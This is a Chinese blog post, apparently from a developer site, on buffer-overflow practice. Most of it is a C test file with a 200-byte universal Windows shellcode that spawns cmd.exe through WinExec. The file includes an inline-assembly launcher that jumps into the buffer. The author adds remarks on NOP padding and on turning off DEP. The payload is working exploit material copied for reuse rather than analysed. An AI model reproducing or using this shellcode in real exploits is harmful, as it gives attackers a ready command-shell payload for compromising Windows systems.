通用shellcode测试

include <stdio.h>

unsigned char shellcode[] = {
    // Windows 2000, Windows 2003, Windows XP
    // Windows Vista, Windows 7通用cmd Shellcode
    "\x90\x90\x90\x90\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
    "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
    "\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
    "\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
    "\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
    "\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
    "\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
    "\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
    "\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
    "\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
    "\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
    "\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
    "\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
    "\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
    "\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
    "\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
    "\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
    "\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
    "\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
    "\x24\x20\x57\xFF\xD0\x90"         //200bytes.
};

int main(int argc, char **argv)
{
    __asm
    {
        lea eax, shellcode
        push eax
        ret
    }
    return 0;
}

最近在做溢出测试的时候,发现msfpayload生成的shellcode都不能用,为了将精力放在控制跳板和前期修正上,现在先在网上当了一份比较稳定的payload,等到跳板学的差不多了,再来看这些shellcode。

原shellcode中没有前4个nop和最后一个nop,所以为195字节。为了更好观察,按4对齐了。而且shellcode开始的时候一般都要有几个nop操作,避免函数是通过_stdcallwinAPI(retN)返回的时候使esp减小。
默认编码为_cdecl(ret),调用方清空,这时候就没有此nop存在的必要了,函数流程已经改变。但是为了保险起见,一般都会加上16个nop,尾部加nop一方面是对齐,一方面是在调试的时候好观察布局进行shellocode改造。

测试的时候要关掉DEP。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值